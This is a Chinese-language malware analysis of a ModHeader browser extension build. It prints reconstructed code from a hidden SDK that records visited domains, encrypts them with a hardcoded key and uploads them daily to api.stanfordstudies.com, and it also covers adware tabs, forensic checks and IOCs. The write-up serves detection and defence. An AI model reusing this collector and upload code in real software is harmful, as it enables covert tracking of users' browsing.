ModHeader Malware: Inside the Chrome Spyware Google Removed

最后更新七月 12, 2026 • 5 min read • 195 views

超过 80 万人信任这款扩展。然而某天早上，Chrome 将它禁用，并标记为恶意软件。Google 没有给出任何理由：既没有说明这个扩展做了什么，也没有说明哪些数据面临风险。

这个扩展就是 ModHeader，一款热门的开发者工具，可以在你访问的每个网站上改写 HTTP 头。因此，这里出现恶意软件标记非同小可。为此，我们从磁盘上取出被下架的构建版本并进行了逆向分析。这篇 ModHeader 恶意软件分析将完整梳理整个案例：隐藏的数据管道、取证过程，以及入侵指标（IOC）。

TL;DR

先看简版，细节在后面。

是什么：某个 ModHeader 构建版本（idgpnmonknjnojddfkpgkljpfnnfcklj，v7.0.18）内置了一个隐藏的间谍软件 SDK。值得注意的是，该 ID 就是 ModHeader 的官方商店条目，文件也带有 Chrome Web Store 签名。
行为：它收集你访问的域名，然后用 AES-GCM 加密列表，最后每天向 api.stanfordstudies.com/app/log POST 一次数据。
藏身之处：恶意辅助函数位于一个名为 dayjs.min-*.js 的文件里。换句话说，载荷伪装成了日期库。
状态：收集器以休眠状态发布，被一个空白名单（$w = []）挡住。但端点、密钥和调度逻辑一应俱全。
命令与控制：没有可监控的 C2。上传是单向的，服务器无法下发指令。
还是广告软件：除了间谍软件，它还会在每次更新时打开一个广告标签页，并显示应用内广告。即便在受管控的企业设备上，这一行为也会触发。
影响范围：ModHeader 在 Chrome 上有 80 万+ 用户，Edge 上也有庞大的用户基数。由于载荷随官方条目分发，整个安装基数都在影响范围内。
侦察：数据回传主机藏在一个假冒的 "Stanford Studies - Research" 门面和一个 Lark 邮箱后面。此外，多个弱信号指向一个中文背景的运营者。
取证：在被分析的机器上，间谍软件从未触发。不过，扩展在本地囤积了所有浏览行为的完整 HTTP 头。

下文将逐一说明这些结论是如何得出的。

背景：为什么 ModHeader 被标记为恶意软件值得关注

ModHeader 是一款流行工具，开发者用它修改 HTTP 请求头和响应头。因此它需要对你的流量有广泛的访问权限。这种权限对它的功能来说是正常的，但也让这款扩展成为高价值目标。

一款受信任的扩展被标记为恶意软件，才是有意思的情况：要么是山寨货在冒用品牌，要么是受信任的扩展被注入了恶意载荷。这两种模式在浏览器扩展供应链攻击中都很常见。因此，这篇 ModHeader 恶意软件分析把该标记当作线索，而不是结论。

文件在哪里

被下架的扩展仍留在磁盘上。具体路径取决于浏览器和操作系统。Chrome 用户请查看：

Chrome
  macOS   : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
  Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
  Linux   : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0

Edge 以不同的 ID 分发同一载荷，所以也要检查：

Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
  macOS   : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
  Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
  Linux   : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc

ModHeader 没有在 Firefox 上发布，因此不存在需要检查的 Mozilla 附加组件。

初步分析：manifest 与权限

我们从 manifest 入手。权限能最快看出影响面。

// manifest.json（节选）
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@@",                       // 注意拼写错误
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}

权限范围很广，包括 <all_urls>、webRequest、declarativeNetRequest、scripting，以及注入到每个页面的 content script。对一个修改 HTTP 头的工具来说，这个范围在意料之中。但这也意味着，一个恶意构建版本已经完全掌控你的 Web 流量。值得注意的是，author 字段写的是 modhader@@。这个拼写错误在代码中反复出现，例如 modhader-tool-root。

破绽：一个非厂商域名

接下来，我们从各个 bundle 中提取了所有 URL 字面量。这是排查混淆代码最快的一步。

┌──(kali㉿kali)-[~]

└─$ grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u

大部分结果都指向真实厂商域名 modheader.com。但有一个主机显得格格不入：

https://api.stanfordstudies.com/app/log

一个 "Stanford studies" 域名出现在 HTTP 头工具里毫无道理。而且 /app/log 是典型的通用数据接收路径。于是这成了要追查的线索。它只存在于一个文件中：assets/src/background-94ad634d.js。

混淆手法：藏在假 `dayjs` 里的 ModHeader 恶意代码

载荷从一个看似日期库的文件中导入辅助函数。

import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";

但这些导出和日期毫无关系，而是间谍软件的实际操作函数。

// 位于名为 dayjs.min-*.js 的文件中
const cl = () => {                                   // 导出为 sf  ->  浏览器标识
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // 导出为 af -> 提取 host
const hl = h => new Promise(i => setTimeout(i, h));                     // 导出为 u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // 导出为 Za -> 当日零点

这是刻意的误导。审查者扫一眼 import，看到 "dayjs" 就翻篇了。结果，ModHeader 的恶意辅助函数就这样在众目睽睽之下通过了审查。

ModHeader 恶意软件的数据外传管道如何运作

下图展示了从浏览到上传的完整流程。以下所有符号都是真实的压缩后变量名，每段代码后附有还原后的伪代码。

ModHeader 恶意软件数据外传管道：域名收集、AES-GCM 加密、每日上传至 api.stanfordstudies.com

第 1 步：身份与加密材料

载荷首先准备好密钥、端点和指纹。

let qo; // CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // 浏览器白名单（为空 -> 休眠）
const Yw = "mod盐header";    // 指纹盐值，注意其中的中文字符 盐

const Hw = async () => {    // fp = SHA-256(当前时间字符串)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};

这里有两点值得注意。

这里的“加密”是混淆，不是保护。AES-GCM 密钥以明文随包分发，因此任何拿到扩展的人都能解密载荷。它唯一的作用是让请求体躲过粗略的网络抓包检查。
指纹是一个稳定的追踪 ID。它是 SHA-256(Date.now())，只生成一次并持久保存。因此它实际上就是一个随机的永久标识符。

第 2 步：收集每次导航的 host

接着，收集器记录域名，并以加密值作为键。

async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // 用 AES-GCM 加密域名
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // 加密域名 -> 访问次数
  await Qw(domainDB, settingDB, aesIv);              // 视情况上传
}

也就是说，存储里是每个加密域名到计数器的映射。简而言之，运营者能知道你访问了哪些站点、访问了多少次。这里不收集完整 URL 和路径，只收集 host。

第 3 步：按指纹抖动的每日上传

然后代码决定何时发送：每天最多上传一次，并且要等到一个由你的指纹决定的固定时刻。

async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // 十进制摘要
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // 落在 [7, 15) 区间的小时数
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // 只在该安装对应的时刻之后
}

这个抖动设计很巧妙。每个受害者的上传时间都不一样，因此流量在网络监控里更难被发现。上传成功后，代码会清空本地存储以销毁证据。

第 4 步：开关是一个空白名单

最后，整条链路挂在标签页的生命周期上。不过，有一道检查把它彻底拦住了。

chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- 关卡
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // 记录域名
}

这里 $w 是空的，所以 $w.indexOf(browser) 永远是 -1。结果就是这道检查总是直接 return，Zw 永远不会执行。在这个构建版本里，收集器存在但处于休眠状态。由于 $w 是硬编码常量，要启用它必须发布新版本。换句话说，真正的触发器是扩展自动更新。

ModHeader 恶意软件没有做的事

准确说明“没有什么”同样重要。我们排查了最恶劣的几类行为，均未发现。

没有远程代码执行。没有 eval，没有滥用 new Function，也没有 import("https://...")。
外传路径中没有凭据窃取。上传内容只有域名、指纹和浏览器类型，不包含 Cookie 或页面内容。
Cookie 只被测量，未被发送。一个统计例程读取 document.cookie.length，用于存储占用估算的 UI。Cookie 的值从未离开页面。
捕获的 HTTP 头留在本地。头部监听器只把数据写入本地存储，供扩展自己的历史记录视图使用。

它同时也是广告软件：每次更新都弹出广告标签页

间谍软件在休眠，广告软件却没有。用户反映广告标签页一次又一次地弹出，即便在锁定的公司设备上也是如此。代码解释了原因。

每次更新时，扩展都会强制打开一个指向联盟网络的新活动标签页。

chrome.runtime.onInstalled.addListener(async (r) => {
  // ... 同时设置一个会 ping extensions-hub.com 的卸载 URL ...
  if (r.reason === "install") {
    // 只有在不存在受管控（企业）配置文件时才打开安装标签页
    if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
  }
  if (r.reason === "update") {
    // 这里没有这种检查，所以每次更新都会触发，包括受管控设备
    chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
  }
});

有两点值得注意。

每次更新都会生成一个标签页。扩展会安静且频繁地自动更新。因此广告标签页会一次又一次地回来，这与用户反馈相符。
企业设备也无法幸免。当存在受管控配置文件时，安装标签页会被跳过。然而更新标签页没有这种检查。因此企业部署仍会收到广告标签页。

扩展自身内部还有第二个广告渠道。弹窗会从厂商拉取广告设置，并可显示或关闭广告。

GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad

界面甚至直接写明了这套模式："正在临时暂停广告。要永久移除广告，请考虑升级到付费方案，或降级到受限方案以选择退出广告。"

因此，扩展在隐蔽的间谍软件之上还搭载了公开声明的广告软件。二者是分开的。广告软件可见且烦人，而间谍软件则悄无声息。两者合在一起，既解释了用户的投诉，也解释了这次的恶意软件标记。

取证：ModHeader 恶意软件到底触发过吗？

扩展的 IndexedDB 在移除后保留了下来，大约 178 MB。

~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb

于是我们扫描其中的上传痕迹。

┌──(kali㉿kali)-[~]

└─$ strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"

结果非常明确：

stanfordstudies 在全部 178 MB 中零命中。
lastUploadDate 和 uploadRecord 零命中。
temp 域名存储基本为空。

因此在这个配置文件上，收集器从未记录过域名，也从未上传。这与休眠的 $w = [] 关卡完全吻合。简而言之，你的访问域名列表没有离开这台机器。

178 MB 的意外：本地 HTTP 头囤积

不过，确实有东西占满了 178 MB。扩展自带的“历史记录”功能存储了每个页面的完整请求头和响应头，主要键为 requestHeaders、responseHeaders、details 和 tabStartTime。

这些数据从未离开磁盘，但静态存放同样敏感。HTTP 头常常包含 Authorization 令牌、会话 Cookie 和内部 URL。所以无论间谍软件是否触发过，都应该清除这份存储。

命令与控制在哪里？

很多读者会问一个合理的问题：有没有可监控的 C2 通道？简单说，没有。

上传是严格单向的。fetch 的响应体从未被读取：没有 .json()，没有 .text()，也没有对返回结果做 .ok 检查。此外，所有操作常量都是硬编码的，从不由服务器重新下发。因此 api.stanfordstudies.com 是一个单向投递箱（drop box），不是控制器，无法向扩展下达任务。

真正的控制通道是扩展自动更新。要让休眠的收集器上线，运营者必须发布新版本。而这正是商店下架扩展时切断的攻击途径。

域名侦察：这个 ModHeader 恶意软件端点真的是恶意的吗？

我们没有止步于代码，还用被动和主动侦察对回传域名做了画像。以下是基础设施本身透露的信息。

`api.stanfordstudies.com` 是一个伪装的数据回传端点

首先，命名具有欺骗性。www.stanfordstudies.com 的公开门面标题是 "Stanford Studies - Research"，但它与斯坦福大学毫无关联。而且页面就是个空壳：没有研究机构，没有隐私政策，也没有联系方式。相比之下，正规的数据收集研究这三样都会公开。

其次，API 主机的行为像投递箱，不像网站。

域名于 2022-05-09 通过 Squarespace 注册，WHOIS 信息被隐私保护。
其邮件走 larksuite.com（Lark / 飞书），指向一个中文背景的运营者。值得注意的是，这与代码里的 盐 字符相互印证。
api.stanfordstudies.com 解析到单台 AWS EC2 主机（3.147.61.167，us-east-2 区域）。
对根地址的探测超时。因此该主机只响应其数据接收路径，不处理普通 Web 流量。
最后，urlscan.io 上有 api.stanfordstudies.com/app/log 这个确切端点的记录，对该主机的扫描最早可追溯到 2023 年 11 月。

综合来看，这是一个披着学术研究外衣的隐蔽数据接收端点。因此我们判定其为恶意。

基础设施从何而来

接着我们追踪了托管情况及其历史。结果是一套通用的、受隐私保护的架构，其过往比登记文件所显示的更长。

主机。该端点运行在单台 AWS EC2 实例上，3.147.61.167，反向 DNS 为 ec2-3-147-61-167.us-east-2.compute.amazonaws.com。这将其定位在 AWS us-east-2（俄亥俄州哥伦布，AS16509 Amazon）。
比看上去更老。WHOIS 记录的创建日期是 2022 年。然而证书透明度显示该域名早在 2017 年就有证书。因此这个名称早于当前的注册。
仍然在线。最新的证书签发于 2026 年 3 月。同时，urlscan.io 在 2025 年及 2026 年 7 月都记录到 /app/log 端点。
一个真实的运营。除了 api 和 www，该域名还暴露了 dev、devlog 和 devos 子域名。这是一套持续维护的 dev 与 ops 架构，而非一次性用完即弃。

即便如此，注册商 WHOIS 受隐私保护，服务器也位于 AWS 的共享地址段。因此线索在触及一个具体名字之前就断了。

供应链背景：这就是 ModHeader 的官方 ID

有一个细节让事态更严重。扩展 ID idgpnmonknjnojddfkpgkljpfnnfcklj 就是 ModHeader 的官方商店条目，服务超过 80 万用户。此外，该构建版本带有 Chrome Web Store 签名（_metadata/verified_contents.json）。由于 Chrome 拒绝运行被篡改的文件，所分析的代码就是官方签名分发的版本，而不是本地被改过的克隆。

不过，仅凭二进制文件无法证明是谁植入了载荷。可能是所有权转让、被注入的变现 SDK，也可能是厂商自己的决定。这类模式在业内早有大量记录。因此我们呈现证据，并将作者归属问题保持开放。

逐域名结论

域名	在 ModHeader 恶意软件中的角色	基础设施	结论
`api.stanfordstudies.com`	加密域名收集的接收端	AWS EC2、根地址不可达、"Stanford" 伪装、Lark 邮箱	恶意
`www.extensions-hub.com`	广告软件：每次更新打开广告标签页	AWS S3 + CloudFront，联盟 SaaS，多个扩展共用	侵犯隐私的广告软件
`modheader.com`	厂商云同步（列出用作对照）	AWS + Google Workspace，公开透明	合法

影响范围与归属：谁在风险中，幕后是谁？

多少用户受影响

波及面很大，因为这是主线商店条目，而且横跨两个浏览器。

Chrome：80 万+ 安装量，以 "ModHeader" 名义发布。
Edge：同一扩展以 ID opgbiafapkbbnbnjcdomjaghbckfkglc 分发，自身也有庞大的安装量。Microsoft 已于 2026-07-03 将其从 Edge 加载项商店下架。
Firefox：不存在官方 ModHeader 附加组件，Firefox 用户不受影响。
评分：1,226 票平均 2.91 星。对一个长期运营的开发工具来说异常低。
支持语言：英语和简体中文（zh-CN）。
商店页面最后更新：2026-07-01，与所分析的 v7.0.18 构建版本吻合。

低评分并非偶然。近期评价已经在投诉广告软件行为和联盟广告。不过那些广告是公开声明的，扩展也提供关闭选项，属于另一类看得见的问题。而 stanfordstudies.com 收集器恰恰相反：隐蔽、加密、既不告知也无法关闭。所以不要混淆两者：公开的广告是信任问题，隐蔽的域名收集才是真正的间谍软件。

威胁行为者信号（低置信度）

我们只能粗略勾勒运营者的轮廓。需要强调：我们不指认任何组织，以下任何信号都不构成证据。

邮件托管在 Lark。回传域名的邮件走 larksuite.com（Lark / 飞书），这套办公套件在中文团队中很常见。
代码里的中文字符。指纹盐值嵌入了字符 盐。
中文语言痕迹。商店条目附带简体中文语言包，content script 还对 baidu.com 做了特殊处理。
假旗门面。"Stanford Studies" 页面借用了一所知名美国大学的名头。显然这是误导，而非真实关联。

综合来看，这些信号微弱地指向一个中文背景的运营者。但基础设施在 AWS 上，WHOIS 又被隐私保护。因此仅凭公开来源无法将其与具名行为者挂钩。

影响评估

风险一览如下。

途径	v7.0.18 中的状态	暴露的数据	严重程度
向 `stanfordstudies.com` 收集域名	休眠；从未触发	访问过的域名、指纹、浏览器	能力高
广告标签页 + 应用内广告	活跃	每次更新打开新标签页，含受管控设备	中（不受欢迎）
本地 HTTP 头历史	活跃，仅限本地	所有浏览的完整 HTTP 头	静态风险中等
权限范围	持有中	读取/修改所有 HTTP 流量	潜在风险高

直白地说，这台机器上没有任何数据被外传。但 ModHeader 恶意软件带着一条完整的、密钥和端点齐备的间谍软件管道，离激活只差一次代码改动。与此同时，它还在本地囤积敏感的 HTTP 头数据。这样的组合足以构成下架的正当理由。

检测与处置

如果你是受影响用户

请按顺序执行以下步骤。

确认浏览器已禁用该扩展。Chrome 和 Edge 通常会自动处理。
删除下方列出的残留存储目录。
在 DNS 层面封禁并记录 api.stanfordstudies.com。
只从可信来源重新安装 HTTP 头工具。

Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj

在 Edge 上，相同目录位于 Microsoft Edge/ 而非 Google/Chrome/ 下，扩展 ID 为 opgbiafapkbbnbnjcdomjaghbckfkglc。

如果你负责企业终端防护

可使用以下排查思路和启发式规则。

在解包的扩展目录中 grep 下方的 IOC 字符串。
对任何向非厂商域名 POST 不透明加密请求体的扩展发出告警。
将从内置第三方库文件中导出操作型辅助函数视为代码异味（code smell）。

入侵指标（IOC）

可以用这些 IOC 在其他地方排查同一个 ModHeader 恶意软件 SDK。

网络

api.stanfordstudies.com          (间谍软件回传: POST /app/log)
www.extensions-hub.com           (广告软件: 每次更新打开广告标签页)
modheader.com/api/ad-settings    (广告软件: 应用内广告配置)

扩展

Chrome ID  : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID    : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox    : no official ModHeader add-on on AMO
Name       : ModHeader - Modify HTTP headers
Version    : 7.0.18

静态字符串

硬编码 AES-GCM 密钥 : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
指纹盐值            : mod盐header   (包含 U+76D0 盐)
回传端点            : https://api.stanfordstudies.com/app/log

文件（本构建的 Vite 哈希）

assets/src/background-94ad634d.js    (载荷)
assets/dayjs.min-6a736ee8.js         (伪装的辅助函数)

符号对照表

以下是压缩变量名与含义的对照，供参考。

压缩名	含义
`qw`	回传 URL `api.stanfordstudies.com/app/log`
`$w`	浏览器白名单关卡（为空 = 休眠）
`Yw`	指纹盐值 `mod盐header`
`qo`	导入的 AES-GCM 密钥
`Hw`	`fp = SHA-256(Date.now())` 安装 ID
`Zw`	记录一个访问过的域名
`Qw`	上传决策 + 成功后清空
`zw`	按指纹划分的每日时刻关卡
`sf` / `af` / `Za` / `u0`	浏览器标识 / host / 零点 / sleep

延伸阅读

关于受信任的扩展如何变质的更多背景，可参阅以下外部报告。

本分析基于对单一已安装构建版本的静态分析与磁盘取证。我们不作任何归属指认。如果你能确认官方 Web Store 是否分发过这一确切构建，请联系 HackIndex Research。